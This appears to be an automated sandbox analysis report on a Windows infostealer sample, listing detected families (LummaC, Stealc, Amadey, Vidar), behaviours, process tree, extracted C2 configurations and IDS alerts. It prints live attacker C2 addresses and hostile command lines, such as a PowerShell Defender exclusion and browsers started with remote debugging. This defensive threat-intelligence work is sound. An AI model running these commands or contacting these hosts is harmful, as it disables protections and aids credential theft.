Edit tour

Windows Analysis Report
uLkHEqZ3u3.exe

Overview

General Information

Sample name:	uLkHEqZ3u3.exe renamed because original name is a hash value
Original sample name:	ddf07b20341889b8cabb9ea953370955.exe
Analysis ID:	1579637
MD5:	ddf07b20341889b8cabb9ea953370955
SHA1:	c6271d6a6213bcb26ee86db268e1f51ebfe02bff
SHA256:	cba88c337ddeeb5089327bf48dfc6370b3d863102951809ce5a9d664146d6ce1
Tags:	exeuser-abuse_ch
Infos:

Detection

LummaC, Amadey, Babadeda, LummaC Stealer, Stealc, Vidar

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Antivirus / Scanner detection for submitted sample

Antivirus detection for dropped file

Attempt to bypass Chrome Application-Bound Encryption

Detected unpacking (changes PE section rights)

Found malware configuration

Multi AV Scanner detection for submitted file

Suricata IDS alerts for network traffic

Yara detected Amadeys stealer DLL

Yara detected Babadeda

Yara detected LummaC Stealer

Yara detected Powershell download and execute

Yara detected Stealc

Yara detected Vidar stealer

AI detected suspicious sample

Adds a directory exclusion to Windows Defender

C2 URLs / IPs found in malware configuration

Disable Windows Defender notifications (registry)

Disable Windows Defender real time protection (registry)

Disables Windows Defender Tamper protection

Drops PE files to the document folder of the user

Found many strings related to Crypto-Wallets (likely being stolen)

Hides threads from debuggers

LummaC encrypted strings found

Machine Learning detection for dropped file

Machine Learning detection for sample

Modifies windows update settings

Monitors registry run keys for changes

PE file contains section with special chars

Query firmware table information (likely to detect VMs)

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Sigma detected: Suspicious Script Execution From Temp Folder

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Tries to detect sandboxes and other dynamic analysis tools (window names)

Tries to detect virtualization through RDTSC time measurements

Tries to evade debugger and weak emulator (self modifying code)

Tries to harvest and steal Bitcoin Wallet information

Tries to harvest and steal browser information (history, passwords, etc)

Tries to harvest and steal ftp login credentials

Tries to steal Crypto Currency Wallets

Tries to steal Mail credentials (via file / registry access)

AV process strings found (often used to terminate AV products)

Allocates memory with a write watch (potentially for evading sandboxes)

Checks for debuggers (devices)

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Checks if the current process is being debugged

Contains capabilities to detect virtual machines

Contains functionality for execution timing, often used to detect debuggers

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Contains functionality to detect virtual machines (SIDT)

Contains functionality to open a port and listen for incoming connection (possibly a backdoor)

Contains functionality to query CPU information (cpuid)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Creates job files (autostart)

Detected potential crypto function

Downloads executable code via HTTP

Dropped file seen in connection with other malware

Drops PE files

Drops PE files to the application program directory (C:\ProgramData)

Enables debug privileges

Entry point lies outside standard sections

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found potential string decryption / allocating functions

HTTP GET or POST without a user agent

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

JA3 SSL client fingerprint seen in connection with other malware

May sleep (evasive loops) to hinder dynamic analysis

Monitors certain registry keys / values for changes (often done to protect autostart functionality)

PE file contains an invalid checksum

PE file contains sections with non-standard names

Queries information about the installed CPU (vendor, model number etc)

Queries sensitive BIOS Information (via WMI, Win32_Bios & Win32_BaseBoard, often done to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Searches for user specific document files

Shows file infection / information gathering behavior (enumerates multiple directory for files)

Sigma detected: Browser Started with Remote Debugging

Sigma detected: Powershell Defender Exclusion

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses Microsoft's Enhanced Cryptographic Provider

Uses code obfuscation techniques (call, push, ret)

Yara detected Credential Stealer

Classification

Process Tree

System is w10x64

uLkHEqZ3u3.exe (PID: 5584 cmdline: "C:\Users\user\Desktop\uLkHEqZ3u3.exe" MD5: DDF07B20341889B8CABB9EA953370955)

DZKPIL2C5DR0YB6M.exe (PID: 5228 cmdline: "C:\Users\user\AppData\Local\Temp\DZKPIL2C5DR0YB6M.exe" MD5: 10028B6D8256496F25456130D84295E4)

NTJ5FCNZGEJS945U0MUPLHRT.exe (PID: 2224 cmdline: "C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe" MD5: 225AD75097A8A68691F54CA412436016)

chrome.exe (PID: 3384 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="" MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

chrome.exe (PID: 1764 cmdline: "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --mojo-platform-channel-handle=2344 --field-trial-handle=2264,i,17984383435334559491,9685032236867275934,262144 /prefetch:8 MD5: 5BBFA6CBDF4C254EB368D534F9E23C92)

msedge.exe (PID: 1816 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory="" MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4304 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2500 --field-trial-handle=2284,i,14841880276472698510,10541286515019937422,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

cmd.exe (PID: 728 cmdline: "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\Documents\CGIJECFIEC.exe" MD5: D0FCE3AFA6AA1D58CE9FA336CC2B675B)

conhost.exe (PID: 5424 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

CGIJECFIEC.exe (PID: 3940 cmdline: "C:\Users\user\Documents\CGIJECFIEC.exe" MD5: C276BD1105BF94A6A453275FAC1472DD)

skotes.exe (PID: 4916 cmdline: "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe" MD5: C276BD1105BF94A6A453275FAC1472DD)

msedge.exe (PID: 5748 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --remote-debugging-port=9229 --profile-directory --flag-switches-begin --flag-switches-end --disable-nacl --do-not-de-elevate MD5: BF154738460E4AB1D388970E1AB13FAB)

msedge.exe (PID: 4072 cmdline: "C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-GB --service-sandbox-type=none --mojo-platform-channel-handle=2100 --field-trial-handle=2016,i,16280527193402925112,7809612728727619200,262144 /prefetch:3 MD5: BF154738460E4AB1D388970E1AB13FAB)

skotes.exe (PID: 5724 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C276BD1105BF94A6A453275FAC1472DD)

skotes.exe (PID: 6220 cmdline: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe MD5: C276BD1105BF94A6A453275FAC1472DD)

install1.exe (PID: 3768 cmdline: "C:\Users\user\AppData\Local\Temp\1020057001\install1.exe" MD5: B222785FC8B8BA94C14D73C46C0C11C4)

conhost.exe (PID: 6532 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

cmd.exe (PID: 3388 cmdline: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe" MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

powershell.exe (PID: 5072 cmdline: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp" MD5: 04029E121A0CFA5991749937DD22A1D9)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Lumma Stealer, LummaC2 Stealer	Lumma Stealer (aka LummaC2 Stealer) is an information stealer written in C language that has been available through a Malware-as-a-Service (MaaS) model on Russian-speaking forums since at least August 2022. It is believed to have been developed by the threat actor "Shamel", who goes by the alias "Lumma". Lumma Stealer primarily targets cryptocurrency wallets and two-factor authentication (2FA) browser extensions, before ultimately stealing sensitive information from the victim's machine. Once the targeted data is obtained, it is exfiltrated to a C2 server via HTTP POST requests using the user agent "TeslaBrowser/5.5"." The stealer also features a non-resident loader that is capable of delivering additional payloads via EXE, DLL, and PowerShell.	No Attribution	https://0xmrmagnezi.github.io/malware%20analysis/LummaStealer/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/lummac2-breakdown#chrome-extensions-crx https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.cyble.com/2023/01/06/lummac2-stealer-a-potent-threat-to-crypto-users/ https://blog.sekoia.io/exposing-fakebat-loader-distribution-methods-and-adversary-infrastructure/	https://malpedia.caad.fkie.fraunhofer.de/details/win.lumma

Name	Description	Attribution	Blogpost URLs	Link
Amadey	Amadey is a botnet that appeared around October 2018 and is being sold for about $500 on Russian-speaking hacking forums. It periodically sends information about the system and installed AV software to its C2 server and polls to receive orders from it. Its main functionality is that it can load other payloads (called "tasks") for all or specifically targeted computers compromised by the malware.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://asec.ahnlab.com/en/36634/ https://asec.ahnlab.com/en/40483/ https://asec.ahnlab.com/en/41450/ https://asec.ahnlab.com/en/44504/	https://malpedia.caad.fkie.fraunhofer.de/details/win.amadey

Name	Description	Attribution	Blogpost URLs	Link
Babadeda	According to PCrisk, Babadeda is a new sample in the crypters family, allowing threat actors to encrypt and obfuscate the malicious samples. The obfuscation allows malware to bypass the majority of antivirus protections without triggering any alerts. According to the researchers analysis, Babadeda leverages a sophisticated and complex obfuscation that shows a very low detection rate by anti-virus users.	No Attribution	https://blog.morphisec.com/the-babadeda-crypter-targeting-crypto-nft-defi-communities	https://malpedia.caad.fkie.fraunhofer.de/details/win.babadeda

Name	Description	Attribution	Blogpost URLs	Link
Stealc	Stealc is an information stealer advertised by its presumed developer Plymouth on Russian-speaking underground forums and sold as a Malware-as-a-Service since January 9, 2023. According to Plymouth's statement, stealc is a non-resident stealer with flexible data collection settings and its development is relied on other prominent stealers: Vidar, Raccoon, Mars and Redline.Stealc is written in C and uses WinAPI functions. It mainly targets date from web browsers, extensions and Desktop application of cryptocurrency wallets, and from other applications (messengers, email clients, etc.). The malware downloads 7 legitimate third-party DLLs to collect sensitive data from web browsers, including sqlite3.dll, nss3.dll, vcruntime140.dll, mozglue.dll, freebl3.dll, softokn3.dll and msvcp140.dll. It then exfiltrates the collected information file by file to its C2 server using HTTP POST requests.	No Attribution	https://any.run/cybersecurity-blog/crackedcantil-breakdown/ https://blog.sekoia.io/clickfix-tactic-the-phantom-meet/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-1/ https://blog.sekoia.io/stealc-a-copycat-of-vidar-and-raccoon-infostealers-gaining-in-popularity-part-2/ https://cocomelonc.github.io/book/2023/12/13/malwild-book.html	https://malpedia.caad.fkie.fraunhofer.de/details/win.stealc

Name	Description	Attribution	Blogpost URLs	Link
Vidar	Vidar is a forked malware based on Arkei. It seems this stealer is one of the first that is grabbing information on 2FA Software and Tor Browser.	No Attribution	https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-1-(-Unpacking-)/ https://0x00-0x7f.github.io/A-Case-of-Vidar-Infostealer-Part-2/ https://0xtoxin-labs.gitbook.io/malware-analysis/malware-analysis/vidar-stealer-h-and-m-campaign https://0xtoxin.github.io/malware%20analysis/Vidar-Stealer-Campaign/ https://asec.ahnlab.com/en/22932/	https://malpedia.caad.fkie.fraunhofer.de/details/win.vidar

Malware Configuration

Threatname: StealC

{"C2 url": "185.215.113.206/c4becf79229cb002.php", "Botnet": "stok"}

Threatname: LummaC

{"C2 url": ["aspecteirs.lat", "necklacebudi.lat", "crosshuaht.lat", "discokeyus.lat", "grannyejh.lat", "sustainskelet.lat", "rapeflowwj.lat", "energyaffai.lat", "sweepyribs.lat"], "Build id": "PsFKDg--pablo"}

Threatname: Amadey

{"C2 url": "185.215.113.43/Zu7JuNko/index.php", "Version": "4.42", "Install Folder": "abc3bc1985", "Install File": "skotes.exe"}

Yara Signatures

PCAP (Network Traffic)

Source	Rule	Description	Author
dump.pcap	JoeSecurity_Stealc_1	Yara detected Stealc	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
sslproxydump.pcap	JoeSecurity_LummaCStealer_2	Yara detected LummaC Stealer	Joe Security

Dropped Files

Source	Rule	Description	Author
C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
C:\Users\user\AppData\Local\Temp\1020057001\install1.exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\6ATIQPJI\install1[1].exe	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security

Memory Dumps

Source	Rule	Description	Author
00000000.00000003.2296923223.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000013.00000002.3377458420.0000000000221000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000010.00000002.3093466078.0000000000601000.00000040.00000001.01000000.0000000F.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000005.00000002.3070581641.00000000014CE000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000012.00000002.3120502766.0000000000221000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
00000000.00000003.2297076476.00000000014D6000.00000004.00000020.00020000.00000000.sdmp	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
00000005.00000002.3066735330.0000000000931000.00000040.00000001.01000000.00000009.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000005.00000003.2497344079.0000000005250000.00000004.00001000.00020000.00000000.sdmp	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
00000011.00000002.3120430275.0000000000221000.00000040.00000001.01000000.00000011.sdmp	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Process Memory Space: uLkHEqZ3u3.exe PID: 5584	JoeSecurity_LummaCStealer_3	Yara detected LummaC Stealer	Joe Security
Process Memory Space: uLkHEqZ3u3.exe PID: 5584	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: uLkHEqZ3u3.exe PID: 5584	JoeSecurity_LummaCStealer	Yara detected LummaC Stealer	Joe Security
Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224	JoeSecurity_Vidar_1	Yara detected Vidar stealer	Joe Security
Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224	JoeSecurity_CredentialStealer	Yara detected Credential Stealer	Joe Security
Process Memory Space: NTJ5FCNZGEJS945U0MUPLHRT.exe PID: 2224	JoeSecurity_Stealc	Yara detected Stealc	Joe Security
Process Memory Space: install1.exe PID: 3768	JoeSecurity_PowershellDownloadAndExecute	Yara detected Powershell download and execute	Joe Security
Click to see the 12 entries

Unpacked PEs

Source	Rule	Description	Author
21.2.install1.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
21.0.install1.exe.400000.0.unpack	JoeSecurity_Babadeda	Yara detected Babadeda	Joe Security
16.2.CGIJECFIEC.exe.600000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
17.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
19.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
18.2.skotes.exe.220000.0.unpack	JoeSecurity_Amadey_2	Yara detected Amadey\'s stealer DLL	Joe Security
Click to see the 1 entries

Sigma Signatures

System Summary

Sigma detected: Powershell Base64 Encoded MpPreference Cmdlet

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", ProcessId: 5072, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", ProcessId: 5072, ProcessName: powershell.exe

Sigma detected: Browser Started with Remote Debugging

Source: Process started

Author: pH-T (Nextron Systems), Nasreddine Bencherchali (Nextron Systems): Data: Command: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", CommandLine|base64offset|contains: ^", Image: C:\Program Files\Google\Chrome\Application\chrome.exe, NewProcessName: C:\Program Files\Google\Chrome\Application\chrome.exe, OriginalFileName: C:\Program Files\Google\Chrome\Application\chrome.exe, ParentCommandLine: "C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe", ParentImage: C:\Users\user\AppData\Local\Temp\NTJ5FCNZGEJS945U0MUPLHRT.exe, ParentProcessId: 2224, ParentProcessName: NTJ5FCNZGEJS945U0MUPLHRT.exe, ProcessCommandLine: "C:\Program Files\Google\Chrome\Application\chrome.exe" --remote-debugging-port=9229 --profile-directory="", ProcessId: 3384, ProcessName: chrome.exe

Sigma detected: Powershell Defender Exclusion

Source: Process started

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", CommandLine|base64offset|contains: ^, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\sysnative\cmd" /c "C:\Users\user\AppData\Local\Temp\2C55.tmp\2C56.tmp\2C57.bat C:\Users\user\AppData\Local\Temp\1020057001\install1.exe", ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 3388, ParentProcessName: cmd.exe, ProcessCommandLine: powershell /nop /com "Add-MpPreference -ExclusionPath C:\Users\user\AppData\Local\Temp", ProcessId: 5072, ProcessName: powershell.exe

Suricata Signatures

ET JA3 Hash - Possible Malware - Fake Firefox Font Update

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:13.643602+0100	2028371	3	Unknown Traffic	192.168.2.6	49707	23.55.153.106	443	TCP
2024-12-23T06:53:16.233545+0100	2028371	3	Unknown Traffic	192.168.2.6	49710	104.21.66.86	443	TCP
2024-12-23T06:53:18.246643+0100	2028371	3	Unknown Traffic	192.168.2.6	49711	104.21.66.86	443	TCP
2024-12-23T06:53:20.960058+0100	2028371	3	Unknown Traffic	192.168.2.6	49713	104.21.66.86	443	TCP
2024-12-23T06:53:23.214213+0100	2028371	3	Unknown Traffic	192.168.2.6	49719	104.21.66.86	443	TCP
2024-12-23T06:53:25.489154+0100	2028371	3	Unknown Traffic	192.168.2.6	49725	104.21.66.86	443	TCP
2024-12-23T06:53:28.102920+0100	2028371	3	Unknown Traffic	192.168.2.6	49733	104.21.66.86	443	TCP
2024-12-23T06:53:30.639279+0100	2028371	3	Unknown Traffic	192.168.2.6	49740	104.21.66.86	443	TCP
2024-12-23T06:53:34.282181+0100	2028371	3	Unknown Traffic	192.168.2.6	49752	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer CnC Host Checkin

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:16.987996+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49710	104.21.66.86	443	TCP
2024-12-23T06:53:19.035226+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49711	104.21.66.86	443	TCP
2024-12-23T06:53:35.038066+0100	2054653	1	A Network Trojan was detected	192.168.2.6	49752	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:16.987996+0100	2049836	1	A Network Trojan was detected	192.168.2.6	49710	104.21.66.86	443	TCP

ET MALWARE Lumma Stealer Related Activity M2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:19.035226+0100	2049812	1	A Network Trojan was detected	192.168.2.6	49711	104.21.66.86	443	TCP

ET MALWARE Terse alphanumeric executable downloader high likelihood of being hostile

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:36.494099+0100	2019714	2	Potentially Bad Traffic	192.168.2.6	49758	185.215.113.16	80	TCP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (aspecteirs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.424343+0100	2058354	1	Domain Observed Used for C2 Detected	192.168.2.6	62470	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (crosshuaht .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.711838+0100	2058358	1	Domain Observed Used for C2 Detected	192.168.2.6	57547	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (discokeyus .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:10.849906+0100	2058360	1	Domain Observed Used for C2 Detected	192.168.2.6	54311	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (energyaffai .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.192631+0100	2058362	1	Domain Observed Used for C2 Detected	192.168.2.6	57925	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (grannyejh .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:10.709705+0100	2058364	1	Domain Observed Used for C2 Detected	192.168.2.6	59602	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (necklacebudi .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.048537+0100	2058370	1	Domain Observed Used for C2 Detected	192.168.2.6	56490	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (rapeflowwj .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.935357+0100	2058374	1	Domain Observed Used for C2 Detected	192.168.2.6	57521	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sustainskelet .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:11.564701+0100	2058376	1	Domain Observed Used for C2 Detected	192.168.2.6	55965	1.1.1.1	53	UDP

ET MALWARE Win32/Lumma Stealer Related CnC Domain in DNS Lookup (sweepyribs .lat)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:10.567435+0100	2058378	1	Domain Observed Used for C2 Detected	192.168.2.6	57304	1.1.1.1	53	UDP

ET MALWARE Win32/Stealc Active C2 Responding with browsers Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:52.014619+0100	2044245	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49793	TCP

ET MALWARE Win32/Stealc Requesting browsers Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:51.893499+0100	2044244	1	Malware Command and Control Activity Detected	192.168.2.6	49793	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Requesting plugins Config from C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:52.338597+0100	2044246	1	Malware Command and Control Activity Detected	192.168.2.6	49793	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc Submitting System Information to C2

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:53.917282+0100	2044248	1	Malware Command and Control Activity Detected	192.168.2.6	49793	185.215.113.206	80	TCP

ET MALWARE Win32/Stealc/Vidar Stealer Active C2 Responding with plugins Config

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:52.459795+0100	2044247	1	Malware Command and Control Activity Detected	185.215.113.206	80	192.168.2.6	49793	TCP

ET MALWARE [ANY.RUN] Win32/Lumma Stealer Exfiltration

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:24.027696+0100	2048094	1	Malware Command and Control Activity Detected	192.168.2.6	49719	104.21.66.86	443	TCP

ET MALWARE [SEKOIA.IO] Win32/Stealc C2 Check-in

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:51.449257+0100	2044243	1	Malware Command and Control Activity Detected	192.168.2.6	49793	185.215.113.206	80	TCP

ETPRO MALWARE Amadey CnC Activity M3

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:55:05.228291+0100	2856147	1	A Network Trojan was detected	192.168.2.6	49996	185.215.113.43	80	TCP

ETPRO MALWARE Amadey CnC Response M1

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:04.035966+0100	2856122	1	A Network Trojan was detected	185.215.113.43	80	192.168.2.6	50004	TCP

ETPRO MALWARE Common Downloader Header Pattern H

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:55:10.735913+0100	2803305	3	Unknown Traffic	192.168.2.6	50010	185.166.143.48	443	TCP

ETPRO MALWARE Common Downloader Header Pattern HCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-12-23T06:53:54.632862+0100	2803304	3	Unknown Traffic	192.168.2.6	49793	185.215.113.206	80	TCP
2024-12-23T06:54:21.492747+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:23.382771+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:24.735876+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:25.814922+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
2024-12-23T06:54:29.261299+0100	2803304	3	Unknown Traffic	192.168.2.6	49889	185.215.113.206	80	TCP
